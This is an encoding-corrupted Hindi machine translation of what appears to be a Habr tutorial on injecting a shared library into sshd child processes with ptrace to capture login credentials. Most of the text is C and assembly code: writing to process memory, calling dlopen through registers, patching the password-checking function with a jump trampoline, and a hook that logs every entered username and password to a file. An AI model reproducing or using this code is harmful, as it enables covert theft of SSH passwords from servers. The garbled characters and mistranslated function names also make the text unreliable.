рдПрдХ рдиреЛрдЯ рдХреЗ рд░реВрдк рдореЗрдВ ... рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдпрд╣ рдЕрдиреБрдХреНрд░рдо рдирд╣реАрдВ рд╣реИ, рддреЛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдирд╡реАрдирддрдо рд╕рдВрд╕реНрдХрд░рдг рд╣реИ, рдЬреЛ 2016 рдХреЗ рдордзреНрдп рддрдХ рднреЗрджреНрдпрддрд╛ рдХреЛ рдмрдВрдж рдХрд░ рджреЗрддрд╛ рд╣реИ (рд╕рдВрд╕реНрдХрд░рдг 7.6 рдореЗрдВ, рдпрд╣ рдХреНрд░рдо рднреА рдЕрджреНрд╡рд┐рддреАрдп рд╣реИ - рд▓рдЧрднрдЧ рдкреНрд░рддрд┐ред)

рдЕрдЧрд▓рд╛ рдЪрд░рдг рдХреЛрдб рдЗрдВрдЬреЗрдХреНрд╢рди рд╣реИред

рдбрд╛рдЙрдирд▓реЛрдб .so рд╕реЗ sshd


рд╣рдорд╛рд░реЗ рдХреЛрдб рдХреЛ sshd рдореЗрдВ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рдПрдХ рдЫреЛрдЯрд╛ рд╕реНрдЯрдм рдмрдирд╛рдПрдВрдЧреЗ, рдЬреЛ рд╣рдореЗрдВ dlopen () рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдФрд░ рдПрдХ рдбрд╛рдпрдирд╛рдорд┐рдХ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ рдЬреЛ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА "od_password" рдХреЗ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрди рдХреЛ рд▓рд╛рдЧреВ рдХрд░реЗрдЧрд╛ред

dlopen () рдбрд╛рдпрдиреЗрдорд┐рдХ рд▓рд┐рдВрдХрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдПрдХ рдХреЙрд▓ рд╣реИ, рдЬреЛ рддрд░реНрдХреЛрдВ рдореЗрдВ рдбрд╛рдпрдирд╛рдорд┐рдХ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЗ рд▓рд┐рдП рд░рд╛рд╕реНрддрд╛ рд▓реЗрддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рдХреЙрд▓рд┐рдВрдЧ рдкреНрд░реЛрд╕реЗрд╕ рдХреЗ рдПрдбреНрд░реЗрд╕ рд╕реНрдкреЗрд╕ рдореЗрдВ рд▓реЛрдб рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдлрд╝рдВрдХреНрд╢рди libdl.so рдореЗрдВ рд╕реНрдерд┐рдд рд╣реИ, рдЬреЛ рдЧрддрд┐рд╢реАрд▓ рд░реВрдк рд╕реЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕реЗ рд▓рд┐рдВрдХ рдХрд░рддрд╛ рд╣реИред

рд╕реМрднрд╛рдЧреНрдп рд╕реЗ, рд╣рдорд╛рд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ, libdl.so рдкрд╣рд▓реЗ рд╕реЗ рд╣реА sshd рдореЗрдВ рд▓реЛрдб рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╣рдореЗрдВ рдмрд╕ dlopen () рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рд╣рд╛рд▓рд╛рдБрдХрд┐, ASLR рдХреЗ рдХрд╛рд░рдг , рдпрд╣ рдмрд╣реБрдд рдХрдо рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ рдХрд┐ dlopen () рд╣рд░ рдмрд╛рд░ рдПрдХ рд╣реА рдЬрдЧрд╣ рдкрд░ рд╣реЛрдЧрд╛, рдЗрд╕рд▓рд┐рдП рдЖрдкрдХреЛ sshd рдореЗрдореЛрд░реА рдореЗрдВ рдЗрд╕рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рд╣реЛрдЧрд╛ред

рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдкрддрд╛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдСрдлрд╝рд╕реЗрдЯ рдХреА рдЧрдгрдирд╛ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ - рдбреНрд▓реЛрдкреЗрди () рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдкрддреЗ рдФрд░ libdl.so рдХреЗ рд╢реБрд░реБрдЖрддреА рдкрддреЗ рдХреЗ рдмреАрдЪ рдЕрдВрддрд░:

 unsigned long long libdlAddr, dlopenAddr; libdlAddr = (unsigned long long)dlopen("libdl.so", RTLD_LAZY); dlopenAddr = (unsigned long long)dlsym(libdlAddr, "dlopen"); printf("Offset: %llx\n", dlopenAddr - libdlAddr); 

рдЕрдм рдЬрдм рд╣рдордиреЗ рдСрдлрд╕реЗрдЯ рдХреА рдЧрдгрдирд╛ рдХреА рд╣реИ, рддреЛ рд╣рдореЗрдВ рдорд╛рдирдЪрд┐рддреНрд░ рдлрд╝рд╛рдЗрд▓ рд╕реЗ libdl.so рдХреЗ рд╢реБрд░реБрдЖрддреА рдкрддреЗ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ:



Sshd рдореЗрдВ libdl.so рдХрд╛ рдЖрдзрд╛рд░ рдкрддрд╛ (0x7f0490a0d000, рдКрдкрд░ рджрд┐рдП рдЧрдП рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рд╕реЗ рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░) рдЬрд╛рдирдХрд░, рд╣рдо рдПрдХ рдСрдлрд╕реЗрдЯ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЛрдб рд╕реЗ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрддрд╛ dlopen () рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рд╣рдо PTRACE_SETREGS рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рднреА рдЖрд╡рд╢реНрдпрдХ рдкрддреЗ рдкрд╛рд╕ рдХрд░реЗрдВрдЧреЗред

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, sshd рдкрддрд╛ рд╕реНрдерд╛рди рдореЗрдВ рдкреНрд░рддреНрдпрд╛рд░реЛрдкрд┐рдд рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЗ рд▓рд┐рдП рд░рд╛рд╕реНрддрд╛ рд▓рд┐рдЦрдирд╛ рднреА рдЖрд╡рд╢реНрдпрдХ рд╣реИ:

 void ptraceWrite(int pid, unsigned long long addr, void *data, int len) { long word = 0; int i = 0; for (i=0; i < len; i+=sizeof(word), word=0) { memcpy(&word, data + i, sizeof(word)); if (ptrace(PTRACE_POKETEXT, pid, addr + i, word)) == -1) { printf("[!] Error writing process memory\n"); exit(1); } } } ptraceWrite(pid, (unsigned long long)freeaddr, "/tmp/inject.so\x00", 16) 

рдЗрдВрдЬреЗрдХреНрд╢рди рдХреА рддреИрдпрд╛рд░реА рдХреЗ рджреМрд░рд╛рди рдЬрд┐рддрдирд╛ рд╕рдВрднрд╡ рд╣реЛ рд╕рдХреЗ рдФрд░ рд╕реАрдзреЗ рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдореЗрдВ рддрд░реНрдХреЛрдВ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд▓реЛрдб рдХрд░рдХреЗ, рд╣рдо рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЛрдб рдХреЛ рдЖрд╕рд╛рди рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП:

 // Update RIP to point to our code, which will be just after // our injected library name string regs.rip = (unsigned long long)freeaddr + DLOPEN_STRING_LEN + NOP_SLED_LEN; // Update RAX to point to dlopen() regs.rax = (unsigned long long)dlopenAddr; // Update RDI to point to our library name string regs.rdi = (unsigned long long)freeaddr; // Set RSI as RTLD_LAZY for the dlopen call regs.rsi = 2; // RTLD_LAZY // Update the target process registers ptrace(PTRACE_SETREGS, pid, NULL, &regs); 

рдпрд╣реА рд╣реИ, рдХреЛрдб рдЗрдВрдЬреЗрдХреНрд╢рди рдХрд╛рдлреА рд╕рд░рд▓ рд╣реИ:

 ; RSI set as value '2' (RTLD_LAZY) ; RDI set as char* to shared library path ; RAX contains the address of dlopen call rax int 0x03 

рдпрд╣ рд╣рдорд╛рд░реА рдЧрддрд┐рд╢реАрд▓ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдмрдирд╛рдиреЗ рдХрд╛ рд╕рдордп рд╣реИ, рдЬрд┐рд╕реЗ рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЛрдб рдХреЗ рд╕рд╛рде рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред

рдЗрд╕рд╕реЗ рдкрд╣рд▓реЗ рдХрд┐ рд╣рдо рдЖрдЧреЗ рдмрдврд╝реЗрдВ, рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдмрд╛рдд рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ ... рдЧрддрд┐рд╢реАрд▓ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдирд┐рд░реНрдорд╛рддрд╛ред

рдЧрддрд┐рд╢реАрд▓ рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдореЗрдВ рдХрдВрд╕реНрдЯреНрд░рдХреНрдЯрд░


рдбрд╛рдпрдирд╛рдорд┐рдХ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рд▓реЛрдб рд╣реЛрдиреЗ рдкрд░ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреА рд╣реИрдВред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдбрд┐рдХреЛрдбрд░ "__attribute __ ((рдХрдВрд╕реНрдЯреНрд░рдХреНрдЯрд░))" рдХреЗ рд╕рд╛рде рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдЪрд┐рд╣реНрдирд┐рдд рдХрд░реЗрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП:

 #include <stdio.h> void __attribute__((constructor)) test(void) { printf("Library loaded on dlopen()\n"); } 

рдЖрдк рдПрдХ рд╕рд╛рдзрд╛рд░рдг рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреЙрдкреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

 gcc -o test.so --shared -fPIC test.c 

рдФрд░ рдлрд┐рд░ рдкреНрд░рджрд░реНрд╢рди рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ:

 dlopen("./test.so", RTLD_LAZY); 

рдЬрдм рдкреБрд╕реНрддрдХрд╛рд▓рдп рд▓реЛрдб рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдирд┐рд░реНрдорд╛рдгрдХрд░реНрддрд╛ рдХреЛ рднреА рдмреБрд▓рд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛:



рдХрд┐рд╕реА рдЕрдиреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдкрддреЗ рд╕реНрдерд╛рди рдореЗрдВ рдХреЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рддреЗ рд╕рдордп рд╣рдо рдЕрдкрдиреЗ рдЬреАрд╡рди рдХреЛ рдЖрд╕рд╛рди рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рднреА рдЗрд╕ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред

Sshd рдЧрддрд┐рд╢реАрд▓ рдкреБрд╕реНрддрдХрд╛рд▓рдп


рдЕрдм рдЬрдм рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдЕрдкрдиреА рдбрд╛рдпрдиреЗрдорд┐рдХ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХрд╛ рдЕрд╡рд╕рд░ рд╣реИ, рддреЛ рд╣рдореЗрдВ рдПрдХ рдРрд╕рд╛ рдХреЛрдб рдмрдирд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдЬреЛ рд░рдирдЯрд╛рдЗрдо рдХреЗ рджреМрд░рд╛рди dif_password () рдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЛ рдмрджрд▓ рджреЗрдЧрд╛ред

рдЬрдм рд╣рдорд╛рд░реА рдбрд╛рдпрдиреЗрдорд┐рдХ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рд▓реЛрдб рд╣реЛ рдЬрд╛рддреА рд╣реИ, рддреЛ рд╣рдо рдлрд╛рдЗрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ sshd рд╕реНрдЯрд╛рд░реНрдЯ рдПрдбреНрд░реЗрд╕ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред рд╣рдо "rx" рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ рдХреНрд╖реЗрддреНрд░ рдХреА рддрд▓рд╛рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ рд╣рдо рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдХреНрд░рдо рдХреЗ рд▓рд┐рдП рджреЗрдЦ рд▓реЗрдВрдЧреЗ, рдЬрд┐рд╕рдореЗрдВ__рд╢рдмреНрдж ():

 d = fopen("/proc/self/maps", "r"); while(fgets(buffer, sizeof(buffer), fd)) { if (strstr(buffer, "/sshd") && strstr(buffer, "rx")) { ptr = strtoull(buffer, NULL, 16); end = strtoull(strstr(buffer, "-")+1, NULL, 16); break; } } 

рдЪреВрдВрдХрд┐ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рдкреНрд░рдХрд╛рд░ рдХреЗ рдкрддреЗ рд╣реИрдВ, рд╣рдо рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреА рддрд▓рд╛рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВ:

 const char *search = "\x31\xd2\x48\x3d\x00\x04\x00\x00"; while(ptr < end) { // ptr[0] == search[0] added to increase performance during searching // no point calling memcmp if the first byte doesn't match our signature. if (ptr[0] == search[0] && memcmp(ptr, search, 9) == 0) { break; } ptr++; } 

рдЬрдм рд╣рдо рдПрдХ рдореИрдЪ рдкрд╛рддреЗ рд╣реИрдВ, рддреЛ рдЖрдкрдХреЛ рдореЗрдореЛрд░реА рдХреНрд╖реЗрддреНрд░ рдкрд░ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП mprotect () рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рдпрд╣ рд╕рдм рдЗрд╕рд▓рд┐рдП рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдореЗрдореЛрд░реА рдХреНрд╖реЗрддреНрд░ рдкрдардиреАрдп рдФрд░ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рд╣реИ, рдФрд░ рдЪрд▓рддреЗ-рдлрд┐рд░рддреЗ рдмрджрд▓рд╛рд╡ рдХреЗ рд▓рд┐рдП рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдЖрд╡рд╢реНрдпрдХ рд╣реИ:

 mprotect((void*)(((unsigned long long)ptr / 4096) * 4096), 4096*2, PROT_READ | PROT_WRITE | PROT_EXEC) 

рдареАрдХ рд╣реИ, рд╣рдореЗрдВ рд╡рд╛рдВрдЫрд┐рдд рдореЗрдореЛрд░реА рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рд▓рд┐рдЦрдиреЗ рдХрд╛ рдЕрдзрд┐рдХрд╛рд░ рд╣реИ рдФрд░ рдЕрдм рдУрдЯрд░_рдкрд╛рд╕рд╡рд░реНрдб рдлрд╝рдВрдХреНрд╢рди рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ рдПрдХ рдЫреЛрдЯрд╛ рд╕реНрдкреНрд░рд┐рдВрдЧрдмреЛрд░реНрдб рдЬреЛрдбрд╝рдиреЗ рдХрд╛ рд╕рдордп рд╣реИ, рдЬреЛ рд╣реБрдХ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░реЗрдЧрд╛:

 char jmphook[] = "\x48\xb8\x48\x47\x46\x45\x44\x43\x42\x41\xff\xe0"; 

рдпрд╣ рдЗрд╕ рдХреЛрдб рдХреЗ рдмрд░рд╛рдмрд░ рд╣реИ:

 mov rax, 0x4142434445464748 jmp rax 

рдмреЗрд╢рдХ, рдкрддрд╛ 0x4142434445464748 рд╣рдорд╛рд░реЗ рд▓рд┐рдП рдЙрдкрдпреБрдХреНрдд рдирд╣реАрдВ рд╣реИ рдФрд░ рдЗрд╕реЗ рд╣рдорд╛рд░реА рдЖрд╡рд╛рдЬ рдХреЗ рдкрддреЗ рд╕реЗ рдмрджрд▓ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛:

 *(unsigned long long *)((char*)jmphook+2) = &passwd_hook; 

рдЕрдм рд╣рдо рдмрд╕ рдЕрдкрдиреЗ рд╕реНрдкреНрд░рд┐рдВрдЧрдмреЛрд░реНрдб рдХреЛ sshd рдореЗрдВ рд╕рдореНрдорд┐рд▓рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЛ рд╕реБрдВрджрд░ рдФрд░ рд╕рд╛рдл рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдлрдВрдХреНрд╢рди рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ рд╕реНрдкреНрд░рд┐рдВрдЧрдмреЛрд░реНрдб рдбрд╛рд▓реЗрдВ:

 // Step back to the start of the function, which is 32 bytes // before our signature ptr -= 32; memcpy(ptr, jmphook, sizeof(jmphook)); 

рдЕрдм рд╣рдореЗрдВ рдПрдХ рд╣реБрдХ рд▓рд╛рдЧреВ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рдЬреЛ рдкрд╛рд╕рд┐рдВрдЧ рдбреЗрдЯрд╛ рдХреЗ рд▓реЙрдЧрд┐рдВрдЧ рд╕реЗ рдирд┐рдкрдЯреЗрдЧрд╛ред рд╣рдореЗрдВ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рд╣рдордиреЗ рд╣реБрдХ рд╢реБрд░реВ рд╣реЛрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рд╕рднреА рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреЛ рд╕рд╣реЗрдЬ рд▓рд┐рдпрд╛ рд╣реИ рдФрд░ рдореВрд▓ рдХреЛрдб рдкрд░ рд▓реМрдЯрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдмрд╣рд╛рд▓ рдХрд░ рджрд┐рдпрд╛ рд╣реИ:

рд╣реБрдХ рд╕реНрд░реЛрдд рдХреЛрдб
 // Remember the prolog: push rbp; mov rbp, rsp; // that takes place when entering this function void passwd_hook(void *arg1, char *password) { // We want to store our registers for later asm("push %rsi\n" "push %rdi\n" "push %rax\n" "push %rbx\n" "push %rcx\n" "push %rdx\n" "push %r8\n" "push %r9\n" "push %r10\n" "push %r11\n" "push %r12\n" "push %rbp\n" "push %rsp\n" ); // Our code here, is used to store the username and password char buffer[1024]; int log = open(PASSWORD_LOCATION, O_CREAT | O_RDWR | O_APPEND); // Note: The magic offset of "arg1 + 32" contains a pointer to // the username from the passed argument. snprintf(buffer, sizeof(buffer), "Password entered: [%s] %s\n", *(void **)(arg1 + 32), password); write(log, buffer, strlen(buffer)); close(log); asm("pop %rsp\n" "pop %rbp\n" "pop %r12\n" "pop %r11\n" "pop %r10\n" "pop %r9\n" "pop %r8\n" "pop %rdx\n" "pop %rcx\n" "pop %rbx\n" "pop %rax\n" "pop %rdi\n" "pop %rsi\n" ); // Recover from the function prologue asm("mov %rbp, %rsp\n" "pop %rbp\n" ); ... 


рдЦреИрд░, рдпрд╣ рд╕рдм ... рдПрдХ рддрд░рд╣ рд╕реЗ ...

рджреБрд░реНрднрд╛рдЧреНрдп рд╕реЗ, рдЖрдЦрд┐рд░рдХрд╛рд░ рдЬреЛ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдпрд╣ рд╕рдм рдирд╣реАрдВ рд╣реИред рднрд▓реЗ рд╣реА sshd рдХреЛрдб рдЗрдВрдЬреЗрдХреНрд╢рди рд╡рд┐рдлрд▓ рд╣реЛ рдЧрдпрд╛ рд╣реЛ, рдЖрдк рдпрд╣ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк рдЬрд┐рд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдХреА рддрд▓рд╛рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВ рд╡рд╣ рдЕрднреА рднреА рдЙрдкрд▓рдмреНрдз рдирд╣реАрдВ рд╣реИред рдпрд╣ рдЗрд╕ рддрдереНрдп рдХреЗ рдХрд╛рд░рдг рд╣реИ рдХрд┐ рдкреНрд░рддреНрдпреЗрдХ рдХрдиреЗрдХреНрд╢рди рдХреЗ рд▓рд┐рдП sshd рдПрдХ рдирдпрд╛ рдмрдЪреНрдЪрд╛ рдмрдирд╛рддрд╛ рд╣реИред рдпрд╣ рдирдпрд╛ рдмрдЪреНрдЪрд╛ рд╣реИ рдЬреЛ рдХрдиреЗрдХреНрд╢рди рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдпрд╣ рдЙрд╕рдХреЗ рдЕрдВрджрд░ рд╣реИ рдХрд┐ рд╣рдореЗрдВ рд╣реБрдХ рд╕реЗрдЯ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред

рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рд╣рдо sshd рдмрдЪреНрдЪреЛрдВ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдореИрдВрдиреЗ рдбреЗрдЯрд╛ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд▓рд┐рдП procfs рдХреЛ рд╕реНрдХреИрди рдХрд░рдиреЗ рдХрд╛ рдирд┐рд░реНрдгрдп рд▓рд┐рдпрд╛ рд╣реИ рдЬреЛ рдкреЗрд░реЗрдВрдЯ PID sshd рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддреЗ рд╣реИрдВред рдЬреИрд╕реЗ рд╣реА рдРрд╕реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдорд┐рд▓рддреА рд╣реИ, рдЙрд╕рдХреЗ рд▓рд┐рдП рдЗрдВрдЬреЗрдХреНрдЯрд░ рд╢реБрд░реВ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред

рдЗрд╕рдХреЗ рдФрд░ рднреА рдлрд╛рдпрджреЗ рд╣реИрдВред рдпрджрд┐ рд╕рдм рдХреБрдЫ рдЧрд▓рдд рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдХреЛрдб рдЗрдВрдЬреЗрдХреНрд╢рди SIGSEGV рд╕реЗ рдЧрд┐рд░рддрд╛ рд╣реИ, рддреЛ рдХреЗрд╡рд▓ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдорд╛рд░ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рди рдХрд┐ рдореВрд▓ sshd рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛред рд╕рдмрд╕реЗ рдмрдбрд╝реА рд╕рд╛рдВрддреНрд╡рдирд╛ рдирд╣реАрдВ, рд▓реЗрдХрд┐рди рдпрд╣ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдбрд┐рдмрдЧрд┐рдВрдЧ рдХреЛ рдЖрд╕рд╛рди рдмрдирд╛рддрд╛ рд╣реИред

рдХрд╛рд░реНрд░рд╡рд╛рдИ рдореЗрдВ рдЗрдВрдЬреЗрдХреНрд╢рди


рдареАрдХ рд╣реИ, рдЪрд▓реЛ рдбреЗрдореЛ рджреЗрдЦреЗрдВ:



рдкреВрд░реНрдг рдХреЛрдб рдпрд╣рд╛рдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ ред

рдореБрдЭреЗ рдЙрдореНрдореАрдж рд╣реИ рдХрд┐ рдЗрд╕ рдпрд╛рддреНрд░рд╛ рдиреЗ рдЖрдкрдХреЛ рдЦреБрдж рдкреЙрдЯреНрд░реЗрд╕ рдХреЛ рдкреЛрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рдЬрд╛рдирдХрд╛рд░реА рджреА рд╣реИред

рдореИрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд▓реЛрдЧреЛрдВ рдФрд░ рд╕рд╛рдЗрдЯреЛрдВ рдХреЛ рдзрдиреНрдпрд╡рд╛рдж рджреЗрдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реВрдВ рдЬрд┐рдиреНрд╣реЛрдВрдиреЗ ptrace рд╕реЗ рдирд┐рдкрдЯрдиреЗ рдореЗрдВ рдорджрдж рдХреА:

Source: https://habr.com/ru/post/hi430302/


All Articles